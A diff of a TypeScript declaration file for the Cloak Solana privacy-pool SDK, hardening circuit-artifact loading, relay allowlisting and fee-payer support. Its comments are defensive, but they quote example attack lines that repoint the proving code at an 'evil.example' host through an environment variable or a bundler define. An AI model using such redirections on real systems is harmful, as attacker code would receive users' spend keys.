+ * runtime, instead of a digest mismatch ~22 MB into proof generation.
+ */
+declare const DEFAULT_TRANSACTION_CIRCUITS_URL: string | null;
+
 /**
  * Set circuits base path: local directory containing `transaction_js/` and `transaction_final.zkey`,
- * or an `http(s)` base URL to those artifacts (Node will download once per process to a temp dir).
+ * or an `http(s)` base URL to those artifacts (loaded into memory once per process).
+ *
+ * ── Kept, not removed, and now checked ────────────────────────────────────────────────────────
+ * It stays public API for one reason the pin cannot serve: an offline, air-gapped or React-Native
+ * caller must be able to name a LOCAL directory holding the ceremony artifacts, and every example
+ * in this repo calls it. What changed is that the string is no longer honoured verbatim. It goes
+ * through {@link assertAllowedCircuitsBase}, the same shape of check `relayUrl` gets: a local
+ * directory is accepted (it puts nothing on the wire, and the unconditional digest check governs
+ * its bytes), an `http(s)` base must be at or under this build's pinned bundle base, and a loopback
+ * base is accepted only in a build whose relay allowlist is already local.
+ *
+ * Asserted HERE for a good early error, and again at the read itself in `proving/artifacts.ts` —
+ * because this setter is not the only door: `loadVerifiedCircuitArtifacts`, `verifyCircuitIntegrity`,
+ * `assertTransactionCircuitIntegrity` and `verifyAllCircuits` are all exported and all take a base
+ * directly. A setter-only check would have been theatre, exactly as it would have been for the
+ * relay URL.
+ *
+ * No cache invalidation is needed here: verified artifact buffers are memoised
+ * per base inside `proving/artifacts.ts`, so a new base loads and re-verifies its
+ * own bytes.
+ *
+ * @throws when `next` names a location this build may not read circuit artifacts from.
  */
 declare function setCircuitsPath(next: string): void;
 /**
- * Get the current circuits path
+ * Get the current circuits path, or `null` when none is configured and this SDK
+ * build pins no verified default (see `DEFAULT_TRANSACTION_CIRCUITS_URL`).
+ */
+declare function getCircuitsPath(): string | null;
+/**
+ * Resolve a base to prove from: an explicit argument, else this build's pinned default.
+ *
+ * ── The environment reads are gone ────────────────────────────────────────────────────────────
+ * This used to fall back to `CLOAK_CIRCUITS_PATH` / `CLOAK_CIRCUITS`. Both resolve in the
+ * CONSUMER's process, which is the same reason `NODE_ENV` is not used anywhere in this package:
+ * `CLOAK_CIRCUITS_PATH=http://evil.example/circuits node app.js`, or one
+ * `--define:process.env.CLOAK_CIRCUITS_PATH='"http://evil.example/circuits"'` in a consumer's
+ * bundler, silently moved where the witness generator came from — and the witness generator is
+ * handed the spend key. An integrator who genuinely needs a different location passes it
+ * explicitly and it is checked against the pin like any other.
+ *
+ * Use this instead of writing an artifact URL out by hand — a hand-written URL
+ * is exactly how the base's version segment came to disagree with the digests
+ * this SDK checks against. Throws an explanatory error (naming the expected
+ * bundle version and both expected digests) when nothing resolves, and refuses a
+ * base this build may not read from.
  */
-declare function getCircuitsPath(): string;
-declare function computeChainNoteHash(publicAmount: bigint, extDataHash: bigint, noteTimestamp: bigint, noteCommitment: bigint): Promise<bigint>;
+declare function resolveCircuitsBase(explicit?: string): string;
 /**
- * Compute extDataHash for binding proof to external parameters
+ * Chain note v4.
  *
- * extDataHash = Poseidon(recipient, relayerFee, relayer)
+ * v4 binds noteSemantics = Poseidon(outAmount[0], outPubkey[0], noteIsSendToSelfKey0) into the note
+ * tail, matching the ceremony circuit. The tail is therefore a 4-input hash, not 3.
+ *
+ * noteIsSendToSelfKey0 is 1 only when publicAmount == 0 AND output 0 went to the spender's own key,
+ * exactly as the circuit computes it.
+ */
+declare function computeChainNoteHash(publicAmount: bigint, extDataHash: bigint, noteTimestamp: bigint, noteCommitment: bigint, noteSalt: bigint, outAmount0: bigint, outPubkey0: bigint, noteIsSendToSelfKey0: bigint): Promise<bigint>;
+declare function computeExtDataHash(recipient: PublicKey | null, relayerFee: bigint, relayer: PublicKey | null, maxFee?: bigint): Promise<bigint>;
+/**
+ * Adapter for a third-party fee-payer relayer (e.g. Kora, https://github.com/solana-foundation/kora)
+ * that lets the depositor pay network fees — and, via `buildTopUpInstructions`, the on-chain rent
+ * this deposit itself needs — in an SPL token instead of native SOL. Only consulted on the deposit
+ * path (externalAmount > 0); ignored for transfers/withdrawals/swaps, which already go through the
+ * relay's own SOL-funded fee payer. Optional — omitting this leaves every existing caller (including
+ * the web app) byte-for-byte unchanged: the depositor remains the fee payer and must hold SOL.
  */
-declare function computeExtDataHash(recipient: PublicKey | null, relayerFee: bigint, relayer: PublicKey | null): Promise<bigint>;
+interface ExternalFeePayerAdapter {
+    /** Returns the external fee payer's pubkey (Kora's `getPayerSigner`). */
+    getPayerPubkey: () => Promise<PublicKey>;
+    /**
+     * Instructions to insert right after the risk-quote instruction (if any) and before every
+     * instruction that spends the depositor's own SOL balance — typically a single
+     * `SystemProgram.transfer(payerPubkey → depositor, neededLamports)`, so the depositor never
+     * needs to hold SOL up front. Return an empty array when no top-up is needed (the depositor
+     * already has enough SOL for on-chain rent).
+     *
+     * A plain transfer works because the external payer's own fee-pricing engine (e.g. Kora's
+     * `calculate_fee_payer_outflow`) already accounts for ANY lamport outflow from its own account
+     * across the whole transaction — not just the base network fee — when it prices
+     * `getPaymentInstruction`. No swap instruction or DEX integration is needed on the client: the
+     * payer's server-side pricing (margin/fixed, its own config) charges for this transfer
+     * automatically. The payer is expected to replenish its own SOL out-of-band (e.g. periodically
+     * converting collected SPL fees back to SOL) — that is entirely the payer's operational concern,
+     * invisible to this adapter and to the depositor.
+     *
+     * Must NOT be inserted before the risk-quote instruction: the on-chain program verifies the risk
+     * quote's Ed25519 signature via instruction introspection at a fixed transaction-level index (0),
+     * so the risk-quote instruction must remain first no matter what else this adapter adds.
+     *
+     * Must NOT include ComputeBudgetProgram instructions of its own — the transaction already
+     * carries one of each, sized for the whole thing including this top-up; a second pair is
+     * rejected by the runtime as duplicate instructions.
+     */
+    buildTopUpInstructions: (payerPubkey: PublicKey) => Promise<TransactionInstruction[]>;
+    /**
+     * Given a base64-encoded, unsigned V0 transaction (feePayer = the external payer's pubkey, every
+     * instruction the deposit needs including any top-up, fresh blockhash), returns the fee-payment
+     * instruction to append before final signing (Kora's `getPaymentInstruction`).
+     */
+    getPaymentInstruction: (unsignedTxBase64: string) => Promise<TransactionInstruction>;
+    /**
+     * Given a base64-encoded transaction the depositor has already partially signed (their own signer
+     * slot filled; the external payer's slot still empty — same instructions plus the payment
+     * instruction, fresh blockhash), returns the fully co-signed transaction, base64-encoded (Kora's
+     * `signTransaction`).
+     */
+    cosign: (partiallySignedTxBase64: string) => Promise<string>;
+    /**
+     * Optional: accounts the payment instruction will reference, resolvable BEFORE that instruction
+     * exists (for Kora: the fee payer's and depositor's fee-token ATAs).
+     *
+     * Purely a size optimization, never correctness — the real accounts always come from
+     * `getPaymentInstruction`. Without it, the supplemental ALT built for the quote transaction can't
+     * know about the payment instruction's accounts, so a deposit that lands just over the packet
+     * limit once that instruction is appended needs a SECOND supplemental ALT (an extra on-chain
+     * transaction and extra rent, paid by the external payer). Measured on the first real deposit:
+     * 1236 bytes vs the 1232 limit — over by 4. With the hint, one ALT covers the final transaction.
+     */
+    getPaymentAccountHints?: () => Promise<PublicKey[]>;
+}
 /**
  * Options for transact operation
  */
@@ -2978,8 +2948,19 @@ interface TransactOptions {
     /** Relayer address for fee payment */
     relayer?: PublicKey;
     /**
-     * Relay URL override.
-     * Defaults to `https://api.cloak.ag` when omitted.
+     * Cloak endpoint to submit through.
+     *
+     * This option no longer SELECTS the endpoint — the endpoint is pinned when the SDK is built
+     * (`RELAY_ORIGIN_ALLOWLIST` in `src/config/relay.ts`). Only two values are accepted:
+     *
+     *  - an origin on this build's allowlist — say `CLOAK_PRODUCTION_RELAY_URL` rather than typing a
+     *    host; anything else throws, naming the value and the allowlist;
+     *  - `""`, which means NO endpoint: the caller signs and submits the deposit itself. Unchanged,
+     *    still supported, and checked before any validation.
+     *
+     * Never defaulted. Omitting it still yields `undefined` (SQ-F1), not production. To point at a
+     * local stack, edit `src/config/relay.ts` and rebuild — not an option, not an environment
+     * variable, because a published build must not be repointable at either.
      */
     relayUrl?: string;
     /** Keypair of the depositor (signs the deposit transaction) - for programmatic use */
@@ -2998,6 +2979,16 @@ interface TransactOptions {
     walletPublicKey?: PublicKey;
     /** Maximum retries on RootNotFound error (default: 5) */
     maxRootRetries?: number;
+    /**
+     * How many times a wallet adapter may be asked to approve ONE swap (default: 5).
+     *
+     * Only applies to the wallet-adapter path, and only to `swapUtxo` / `swapWithChange`: a swap
+     * re-proves on every retry, so every retry needs a fresh approval, and `maxRootRetries` alone
+     * would allow 41 dialogs for a single swap. A `depositorKeypair` signs without prompting and is
+     * bounded by `maxRootRetries` as before. A private send or withdrawal signs exactly once,
+     * whatever happens on the network.
+     */
+    maxWalletApprovals?: number;
     /** Delay between retries in ms (default: 3000) */
     retryDelayMs?: number;
     /**
@@ -3010,6 +3001,12 @@ interface TransactOptions {
      * Used for deposits when riskOracleQueue is set. The backend must return a signed
      * quote instruction for the depositor wallet so the program can verify at index 0.
      * Defaults to `${relayUrl}/range-quote` when relayUrl is set.
+     *
+     * Held to the SAME build-pinned allowlist as `relayUrl`: it is fetched directly and it is
+     * converted back into a base URL by `deriveRelayUrlFromRiskQuoteUrl`, so leaving it unchecked
+     * would leave a second door onto the first. It must therefore be an ABSOLUTE URL on this build's
+     * allowlist; a relative path (e.g. `/api/risk-quote`) is no longer resolved against the page
+     * origin. `""` disables the SDK-side prefetch, unchanged.
      */
     riskQuoteUrl?: string;
     /**
@@ -3065,6 +3062,13 @@ interface TransactOptions {
      * Each entry must be base64-encoded note bytes.
      */
     encryptedNotes?: string[];
+    /**
+     * Omit the on-chain encrypted chain-note envelope entirely. The chainNoteHash public input
+     * is unaffected (proof still binds it); only the optional ciphertext blob the program emits
+     * for wallet auto-scan is dropped. Use when the caller tracks UTXOs out-of-band and needs the
+     * smaller packet — e.g. V3 + SPL deposits that would otherwise overflow the 1232-byte limit.
+     */
+    disableChainNotes?: boolean;
     /**
      * Optional nk (32 bytes, hex or bytes) for diversified chain note encryption (Phase 3).
      * When provided, 2 per-output encrypted notes are embedded on-chain.
@@ -3076,6 +3080,32 @@ interface TransactOptions {
      * passing nk at every call site — e.g. pass a getter from your key manager.
      */
     getChainNoteViewingKeyNk?: () => Promise<string | Uint8Array | null>;
+    /**
+     * Pin the chain note's 96-bit `noteSalt` instead of drawing a fresh one (VK-01).
+     *
+     * Pass the `noteSalt` returned by {@link createRecoverableDepositUtxo}. That helper derives the
+     * deposit note's keypair and blinding as `PRF(nk, noteSalt)`, and the chain note is the ONLY place
+     * the salt is published — so a cold `(rpc, programId, nk)` scan can only rebuild the note if the
+     * salt that anchored it is the salt that reaches the note. Leaving this unset draws a random salt,
+     * which is correct for every non-derived flow.
+     *
+     * Requires an explicit `chainNoteViewingKeyNk` / `getChainNoteViewingKeyNk`; `transact` refuses
+     * otherwise rather than pairing the salt with an nk inferred from the note's own key.
+     */
+    chainNoteSalt?: bigint;
+    /**
+     * The RECIPIENT's 32-byte X25519 public viewing key, for a shield-to-shield send.
+     *
+     * Supply `deriveViewingKeyFromNk(recipientNk).publicKey` (hex or bytes). When present, the SDK
+     * seals `{amount, blinding}` of output 0 to this key and ships it as `recipient_delivery_notes`,
+     * which the relay publishes as a CLKD1 carrier the recipient can find with their `nk` alone.
+     *
+     * When absent, the send still succeeds but the recipient CANNOT discover the note from chain —
+     * it must be handed over out of band. That was the shipped behaviour and is what campaign rows
+     * S2S-08 / VK-01 measured. Ignored on deposits and withdrawals: the relay rejects the field
+     * outright on anything that is not a send.
+     */
+    recipientViewingPublicKey?: Uint8Array | string;
     /**
      * Cached Merkle tree from a previous transaction.
      * When provided, the SDK skips fetching commitments from the relay and uses this
@@ -3098,7 +3128,7 @@ interface TransactOptions {
     useUniqueNullifiers?: boolean;
     /**
      * Optional DEX allow-list for swaps (Jupiter `dexes`).
-     * Example: ["Orca V2", "Raydium CLMM"]
+     * Example: ["Meteora DLMM", "Raydium CLMM"]
      */
     swapDexes?: string[];
     /**
@@ -3138,8 +3168,24 @@ interface TransactOptions {
      * Use when relay may be behind the chain (e.g. commitment_sync lag) to avoid ProofInvalid.
      */
     useChainRootForProof?: boolean;
+    /**
+     * Optional external fee-payer adapter (e.g. Kora) for deposits only. When set, the depositor no
+     * longer needs to hold SOL: the adapter's payer covers the network fee (and, via
+     * `buildTopUpInstructions`, any on-chain rent) and is reimbursed in an SPL token within the same
+     * transaction. Omit for unchanged default behavior.
+     */
+    externalFeePayer?: ExternalFeePayerAdapter;
 }
-/** Switchboard-style response: pre-built instruction. */
+/**
+ * Switchboard-style response: a pre-built instruction.
+ *
+ * @deprecated No longer accepted. `fetchRiskQuote` rejects this shape outright:
+ * a relay that can name the program id, the account metas and the data of an
+ * instruction the user's wallet signs is a signing oracle. The relay only ever
+ * returns `{ signature, message, signer_pubkey }`, which the SDK verifies and
+ * rebuilds locally as an account-free Ed25519 instruction. The type is kept as
+ * an export purely so consumers importing it still compile.
+ */
 interface RiskQuoteInstructionResponse {
     instruction: {
         programId: string;
@@ -3151,17 +3197,130 @@ interface RiskQuoteInstructionResponse {
         data: string;
     };
 }
-/**
- * Fetch the risk quote instruction from a backend (e.g. relay /risk-quote).
- * The backend should call Switchboard's fetchQuoteIx for the given wallet
- * (Range Risk API) and return the serialized instruction.
- * See: https://www.range.org/blog/integrate-range-onchain-risk-verifier-into-your-solana-program
- */
-declare function fetchRiskQuoteInstruction(riskQuoteUrl: string, wallet: PublicKey, options?: {
+declare function fetchRiskQuoteInstruction(riskQuoteUrl: string, wallet: PublicKey, options: {
+    poolMint: PublicKey;
     recipient?: PublicKey;
     amount?: bigint;
     token?: PublicKey;
+    commitment?: string | Uint8Array;
+    context?: "deposit" | "send" | "withdraw";
+    nullifier0?: string;
+    nullifier1?: string;
 }): Promise<TransactionInstruction>;
+/** Everything the `/transact` relay body is built from. */
+interface TransactRequestBodyParams {
+    proofB64: string;
+    publicInputsB64: string;
+    mint: PublicKey;
+    recipient?: PublicKey | null;
+    relayer?: PublicKey | null;
+    relayerFee: bigint;
+    maxFee: bigint;
+    encryptedNotes?: string[];
+    riskQuote?: {
+        signature: string;
+        message: string;
+        signer_pubkey: string;
+    };
+    /** Present only on shield-to-shield sends, where the relay enforces sanctions on the sender. */
+    sender?: PublicKey | null;
+    /** Signed public amount; zero is a shield-to-shield send. */
+    externalAmount: bigint;
+    /** Base64 CLKD1 envelopes, from `buildRecipientDeliveryNotes`. Omitted when the rail is off. */
+    recipientDeliveryNotes?: string[];
+}
+/**
+ * Assemble the `/transact` body.
+ *
+ * Extracted so the wire shape is testable without a proof. The field set is a contract with
+ * `services/relay/src/api/transact.rs`, and `recipient_delivery_notes` in particular is part of the
+ * relay's signed field view (`TRANSACT_AUTH_FIELDS`) — so a body that carries it must be signed
+ * with it present, and a body that omits it must be signed with an explicit null. `buildAuthRequest`
+ * handles that, but only if the field is genuinely absent rather than set to `undefined`-ish values.
+ */
+declare function buildTransactRequestBody(params: TransactRequestBodyParams): Record<string, unknown>;
+/** Everything settlement verification needs to check THIS proof against chain state. */
+interface SettlementContext {
+    connection: SettlementConnection;
+    programId: PublicKey;
+    mint: PublicKey;
+    /** The proof's public input nullifiers — the ground truth for "did this land". */
+    inputNullifiers: bigint[];
+}
+type RelaySubmissionResult = {
+    kind: "submitted";
+    signature: string;
+    commitmentIndices?: [number, number];
+    viewingKeyRegistered?: boolean;
+    settlement: SettlementVerdict;
+}
+/** The relay rejected the proof's root; the caller must rebuild the tree and re-prove. */
+ | {
+    kind: "stale-root";
+    error: Error;
+} | {
+    kind: "failed";
+    error: Error;
+};
+
+interface SubmitTransactToRelayArgs {
+    relayUrl: string;
+    /** The exact body to POST. Auth fields are added ONCE, in place, and then never changed. */
+    requestBody: Record<string, unknown>;
+    programId: PublicKey;
+    depositorKeypair?: Keypair;
+    /**
+     * Wallet-adapter alternative to `depositorKeypair` for request authentication, used only when
+     * no keypair is supplied. Lets a browser or mobile caller — which holds no secret key — submit
+     * through this same function instead of hand-rolling the scheme.
+     *
+     * COMPLIANCE: `walletPublicKey` becomes the authenticated `sender`, which is the key screened
+     * for sanctions on shield-to-shield sends. It must be the end user's real wallet; an ephemeral
+     * or server-side key here is a compliance regression, not a shortcut.
+     */
+    relayAuthSigner?: RelayAuthSigner;
+    settlement: SettlementContext;
+    /** True while the caller still has a re-prove budget for a stale root. */
+    canRetryStaleRoot: boolean;
+    maxNetworkRetries?: number;
+    requestTimeoutMs?: number;
+    /** Injection seam for tests; defaults to global fetch. */
+    fetchImpl?: typeof fetch;
+    onProgress?: (status: string) => void;
+    /** Total window allowed for the on-chain settlement check after a reported success. */
+    settlementTimeoutMs?: number;
+    /** Shorter window used to ask "did it land anyway?" after a terminal relay failure. */
+    failureProbeTimeoutMs?: number;
+}
+/**
+ * POST one logical `/transact` request and REPORT ONLY WHAT THE CHAIN CONFIRMS.
+ *
+ * Extracted from `transact()` so the two campaign defects it fixes are reproducible without a
+ * validator: a stub `fetchImpl` plays the hostile relay, a stub `SettlementConnection` plays the
+ * RPC. Its control flow is the caller's old inline network-retry loop, unchanged except where
+ * noted below.
+ *
+ * THREE fixes live here, all of them the same root cause — trusting the counterparty:
+ *
+ * 1. REL-A-1 (root cause of REL-A-10): the request is signed ONCE, before the retry loop, and
+ *    every retry re-POSTs the byte-identical body. The relay's recovery contract is keyed on
+ *    `(auth_nonce, endpoint, sender, request_digest)` — `request_auth.rs::authenticate_relay_request`
+ *    — and `handle_transact` answers an exact replay from its durable row: `Completed` replays the
+ *    stored response, `Prepared` reconciles the stored signature against chain, `Processing`
+ *    returns a retryable 503. The shipped client re-signed with a FRESH `randomUUID()` nonce inside
+ *    the loop, so every retry was a NEW request that could only collide with its own predecessor's
+ *    nullifier reservation (503) — measured: 7 POSTs, 7 nonces, byte-identical business fields, and
+ *    the recovery path unreachable. Re-signing here is not a fallback: a nonce that has aged past
+ *    the relay's 300s freshness window is still accepted for an EXACT replay whose row exists, and
+ *    when no row exists nothing was mutated, so the 401 is both correct and safe.
+ * 2. X-S-01B: a reported success is verified against chain before it is returned. The relay's word
+ *    plus its commitment indices are not evidence; the input nullifier PDAs are.
+ * 3. REL-A-10 / (b): the signature the relay puts in a `submission_outcome_unknown` body is
+ *    captured across attempts, and every terminal failure that could plausibly have been submitted
+ *    is resolved against chain into a `SettlementVerificationError` that states the outcome and
+ *    carries the signature.
+ */
+declare function submitTransactToRelay(args: SubmitTransactToRelayArgs): Promise<RelaySubmissionResult>;
 declare function transact(params: TransactParams, options: TransactOptions): Promise<TransactResult>;
 /**
  * Execute a shield-to-shield transfer
@@ -3226,14 +3385,33 @@ interface UtxoSwapResult extends TransactResult {
     nullifier: string;
     /** Relay request ID for swap execution status */
     requestId?: string;
+    /**
+     * V3-04 refund-fallback secret. **Persist this** to recover the swap principal if the swap times
+     * out before TX2. On a timeout close the program builds the amount-bound note
+     *   R_fb = Poseidon(amountAfterFee, publicKey, blinding, WSOL)
+     * where `amountAfterFee` is the principal it locked (read authoritatively from the on-chain
+     * `SwapState.sol_amount`, = gross swap amount minus the on-chain swap fee). `ClaimRefund` then spends
+     * `R_fb` with `privateKey` (a plain ZK membership proof of the refund tree). All values are hex.
+     *
+     * VK-02: when `derivedFromNk` is true this secret is ALSO recoverable from the wallet's `nk` plus
+     * the swap's public first input nullifier — see `matchSwapRefundLeaf`. Persisting it is still the
+     * fast path; losing it is no longer terminal. When false (no `nk` was supplied to the swap) this
+     * object is the only copy that will ever exist.
+     */
+    refund: {
+        privateKey: string;
+        publicKey: string;
+        blinding: string;
+        derivedFromNk: boolean;
+    };
 }
 /**
  * Execute a UTXO swap withdrawal
  *
  * This spends input UTXOs and creates a SwapState PDA for swapping SOL to SPL tokens.
- * After this transaction, the relay can execute:
- * 1. PrepareSwapSol - Wrap SOL to wSOL
- * 2. ExecuteSwapViaOrca - Execute the swap on Orca
+ * The swap is then completed on-chain in two follow-up instructions:
+ * 1. PrepareSwapSol - Wrap the SOL held by the SwapState PDA into wSOL
+ * 2. ExecuteSwap - Route the wSOL through Jupiter and deliver the output token to `recipientAta`
  *
  * @param params Swap parameters
  * @param options Transaction options
@@ -3255,49 +3433,743 @@ declare function swapUtxo(params: UtxoSwapParams, options: TransactOptions): Pro
 declare function swapWithChange(inputUtxos: Utxo[], swapAmount: bigint, outputMint: PublicKey, recipientAta: PublicKey, minOutputAmount: bigint, options: TransactOptions, recipientWallet?: PublicKey): Promise<UtxoSwapResult>;
 
 /**
- * Compact deterministic chain note format (current format only).
+ * Circuit artifact loading and integrity verification.
+ *
+ * Artifacts come from the pinned bundle in `config/circuits`, verified
+ * by digest; no backend prover service is required. Proof generation itself
+ * lives with the flows that own it (`flows/transact.ts`), which passes the
+ * verified buffers this module returns straight to `snarkjs.groth16.fullProve`.
+ *
+ * The bytes are canonical HERE and copied out: every hand-off mints a fresh buffer from an
+ * intrinsic captured at module load, and hashes a twin of that buffer, so the digest covers what is
+ * used and not merely what was once loaded, and the buffer that is used was allocated by something
+ * a consumer cannot redefine. See the note on `_verifiedArtifacts` for the break that made the copy
+ * necessary (F7), and THE PRIMORDIALS for the one that made the copy's PROVENANCE necessary (F9).
  *
- * Envelope: [version 1][ciphertext (timestamp + tag)]
+ * Only the ceremony-frozen `transaction` circuit exists here. The deployed
+ * program verifies proofs against that circuit's verifying key and nothing
+ * else, so the pre-ceremony `withdraw_regular` / `withdraw_swap` circuits —
+ * and every code path that loaded them — were removed rather than kept as
+ * compatibility the program would reject anyway.
  */
-type ChainNoteTxType = "deposit" | "withdraw" | "transfer" | "swap" | "unknown";
-interface CompactChainNote {
-    timestamp: bigint;
-    commitment: string;
-}
+
 /**
- * Encrypt a compact deterministic chain note.
- * Payload is minimal to keep relay withdrawals under Solana packet size limits.
- * Envelope: [version 1][ciphertext (timestamp + tag)]
+ * Base URL of the only bundle this SDK pins: the ceremony `transaction` bundle.
+ *
+ * Identical to `DEFAULT_TRANSACTION_CIRCUITS_URL` in `flows/transact`; kept
+ * under this name so existing imports keep resolving. Derived from
+ * {@link TRANSACTION_CIRCUITS_BASE_URL}, so the version segment is the same one
+ * the pinned digests were declared under — do not write this URL out by hand
+ * anywhere; change the bundle instead.
+ *
+ * `string | null` — `null` when this build pins no location whose bytes were
+ * verified against the bundle's digests.
  */
-declare function encryptCompactChainNote(timestamp: bigint, nk: Uint8Array, commitmentHex: string): Promise<Uint8Array>;
+declare const DEFAULT_CIRCUITS_URL: string;
 /**
- * Decrypt a compact deterministic chain note with candidate output commitments.
- * Tries each commitment-derived key until AES-GCM authentication succeeds.
+ * Pinned circuit artifact hashes (SHA-256), flattened from the release table in
+ * `proving/circuits.ts`.
+ *
+ * A read-only VIEW of {@link PINNED_TRANSACTION_WASM_DIGEST} / {@link PINNED_TRANSACTION_ZKEY_DIGEST},
+ * kept because it is part of the published surface and integrators print it in start-up
+ * diagnostics. FROZEN: it is not the source of truth and must not be able to pretend it is. Writing
+ * to it throws in strict mode (every ES module is strict) and is a silent no-op in sloppy CJS
+ * scope — either way the digests the check uses are unchanged.
  */
-declare function decryptCompactChainNote(noteBytes: Uint8Array, nk: Uint8Array, candidateCommitments: string[]): Promise<CompactChainNote>;
-declare function chainNoteToBase64(noteBytes: Uint8Array): string;
-declare function chainNoteFromBase64(base64: string): Uint8Array;
-
+declare const EXPECTED_CIRCUIT_HASHES: Readonly<{
+    transaction_wasm: string;
+    transaction_zkey: string;
+}>;
 /**
- * Transaction Scanner
- *
- * Scans on-chain transactions for the Cloak shield pool program,
- * extracts chain note envelopes from instruction data, and
- * trial-decrypts them with the caller's viewing key.
- *
- * This module is fully autonomous — it talks directly to a Solana
- * RPC node and does not depend on the relay.
+ * Circuit verification result
  */
-
-/** A single decoded & verified transaction record. */
-interface ScannedTransaction {
-    /** Transaction type (deposit / withdraw / transfer / swap) */
-    txType: ChainNoteTxType;
-    /** Absolute amount in lamports (gross — the full amount leaving the pool) */
-    amount: bigint;
-    /** Protocol fee in lamports (non-zero only for withdrawals/swaps) */
-    fee: bigint;
-    /** Net amount received by the recipient (amount - fee). For deposits this equals amount. */
+interface CircuitVerificationResult {
+    /** Whether verification passed */
+    valid: boolean;
+    /** Error message if verification failed */
+    error?: string;
+    computed?: {
+        wasm: string;
+        zkey: string;
+    };
+    expected?: {
+        wasm: string;
+        zkey: string;
+    };
+}
+/**
+ * Circuit artifact bytes together with the digests computed over those bytes.
+ *
+ * The buffers are a PRIVATE COPY, minted for this call from an intrinsic captured at module load
+ * and hashed via a throwaway twin after they were copied. Nothing outside this module was handed
+ * the object or a view onto it, so `digests` describes `wasm`/`zkey` as of the moment they were
+ * handed over rather than as of some earlier load. Mutate them if you like; the SDK's canonical
+ * bytes are elsewhere and the next call re-copies and re-hashes.
+ *
+ * The guarantee stops at the hand-off, and stops honestly. Once these buffers are inside
+ * `snarkjs.groth16.fullProve` what snarkjs does with them is snarkjs's business; what this module
+ * promises is that the bytes it handed over are the bytes whose SHA-256 it reported.
+ */
+interface VerifiedCircuitArtifacts {
+    /** `<circuit>_js/<circuit>.wasm` bytes. A fresh copy, not shared with any other caller. */
+    wasm: Uint8Array;
+    /** `<circuit>_final.zkey` bytes. A fresh copy, not shared with any other caller. */
+    zkey: Uint8Array;
+    /** SHA-256 (lowercase hex) of the buffers in this object, computed over these very buffers. */
+    digests: {
+        wasm: string;
+        zkey: string;
+    };
+}
+/**
+ * Load circuit artifacts and return the very bytes whose digest was checked.
+ *
+ * This is the only supported way to obtain proving artifacts: the caller passes
+ * the returned buffers straight to `snarkjs.groth16.fullProve`, which accepts a
+ * `Uint8Array` for both the wasm and the zkey. Passing snarkjs a URL or a file
+ * path instead would re-read the artifact independently of the digest check, so
+ * a CDN (or a concurrent writer on disk) could serve good bytes to the check and
+ * different bytes to the prover.
+ *
+ * Fails closed: any digest mismatch, unreachable artifact, or environment that
+ * cannot produce bytes (a browser pointed at a local directory) throws rather
+ * than falling back to an unverified source.
+ *
+ * Returns a FRESH COPY on every call, hashed after it was copied — see
+ * {@link copyAndVerify} and the note on {@link _verifiedArtifacts}. Two calls never share a buffer,
+ * and the digests in the returned object are the digests of the buffers in that same object, taken
+ * at that call. Mutating what you are given affects nothing but your own copy.
+ *
+ * The environment cannot switch any of this off. It used to be skippable with
+ * `CLOAK_SKIP_CIRCUIT_INTEGRITY_CHECK=1`, and that escape hatch was the worst hole in the package:
+ * the variable resolves in the CONSUMER's process, so one deploy variable — or one
+ * `--define:process.env.CLOAK_SKIP_CIRCUIT_INTEGRITY_CHECK='"1"'` in a consumer's bundler, which
+ * compiles the guard down to a constant `true` — made this function accept whatever bytes the base
+ * served. Paired with a repointable base that meant attacker wasm, and attacker wasm sees the spend
+ * key. A check an environment variable disables is not a check. If a local build genuinely needs
+ * different artifacts it needs different DIGESTS, which is a source edit and a rebuild, exactly
+ * like the endpoint pin.
+ */
+declare function loadVerifiedCircuitArtifacts(circuitsPath: string | null): Promise<VerifiedCircuitArtifacts>;
+/**
+ * Report whether a circuit's artifacts match the digests pinned in this SDK.
+ *
+ * This is a *reporting* helper (used by `verifyAllCircuits` for start-up checks
+ * and diagnostics). It is NOT what gates proving: a check that only inspects the
+ * source cannot say anything about the bytes a later, independent read returns.
+ * Proof paths must call {@link loadVerifiedCircuitArtifacts} and hand the bytes
+ * it returns to snarkjs.
+ *
+ * Reports digests, never bytes. It can read the canonical memo to avoid a second download, but the
+ * result object carries only hex strings, so calling this cannot obtain a handle on the bytes a
+ * later proof will run over — which is the other half of the F7 fix, and the reason this function
+ * and `loadVerifiedCircuitArtifacts` can no longer disagree about the same cache entry.
+ *
+ * IMPORTANT: If the hashes don't match, the circuit may produce proofs
+ * that will be rejected by the on-chain verifier!
+ *
+ * @param circuitsPath - Base directory or URL holding the circuit's artifacts;
+ *                       honoured verbatim.
+ * @param circuit - Which circuit to verify
+ * @returns Verification result
+ *
+ * @example
+ * ```typescript
+ * const result = await verifyCircuitIntegrity(getCircuitsPath(), 'transaction');
+ * if (!result.valid) {
+ *   console.error('Circuit verification failed:', result.error);
+ *   // Don't proceed with proof generation!
+ * }
+ * ```
+ */
+declare function verifyCircuitIntegrity(circuitsPath: string | null, prefetched?: {
+    wasm: Uint8Array;
+    zkey: Uint8Array;
+}): Promise<CircuitVerificationResult>;
+/**
+ * Assert the ceremony-frozen `transaction` circuit artifacts are the pinned ones.
+ *
+ * Throws (fail-closed) when the digests do not match. Proving against an
+ * unpinned zkey silently produces proofs the on-chain verifying key rejects,
+ * so failing here is strictly better than failing on-chain.
+ *
+ * @param circuitsPath - Base directory or URL holding `transaction_js/transaction.wasm`
+ *                       and `transaction_final.zkey`.
+ * @param prefetched - Already-downloaded artifact bytes, to avoid a second fetch.
+ */
+declare function assertTransactionCircuitIntegrity(circuitsPath: string | null, prefetched?: {
+    wasm: Uint8Array;
+    zkey: Uint8Array;
+}): Promise<void>;
+/**
+ * Verify every circuit this SDK pins — which is exactly one: the ceremony
+ * `transaction` circuit.
+ *
+ * Call this at SDK initialization to ensure circuits are valid.
+ *
+ * @param circuitsPath - Base for the ceremony-frozen `transaction` circuit.
+ *                       Pass `getCircuitsPath()` when the caller has reconfigured it;
+ *                       `null` reports the "no base configured" state rather than throwing.
+ * @param transactionCircuitsPath - Same base; takes precedence when given. Kept so
+ *                       two-argument callers from before the legacy withdraw
+ *                       circuits were removed keep compiling, with unchanged
+ *                       behaviour for the `transaction` entry.
+ * @returns Array of verification results (one per circuit)
+ */
+declare function verifyAllCircuits(circuitsPath: string | null, transactionCircuitsPath?: string | null): Promise<CircuitVerificationResult[]>;
+
+/**
+ * Pending Operations Manager
+ *
+ * Utility for persisting pending deposit/withdrawal operations in browser storage.
+ * This enables recovery if the browser crashes or user navigates away mid-operation.
+ *
+ * IMPORTANT: This uses localStorage by default which has security implications.
+ * Notes contain sensitive spending keys - consider using more secure storage
+ * in production (e.g., encrypted IndexedDB, secure enclave).
+ */
+
+/**
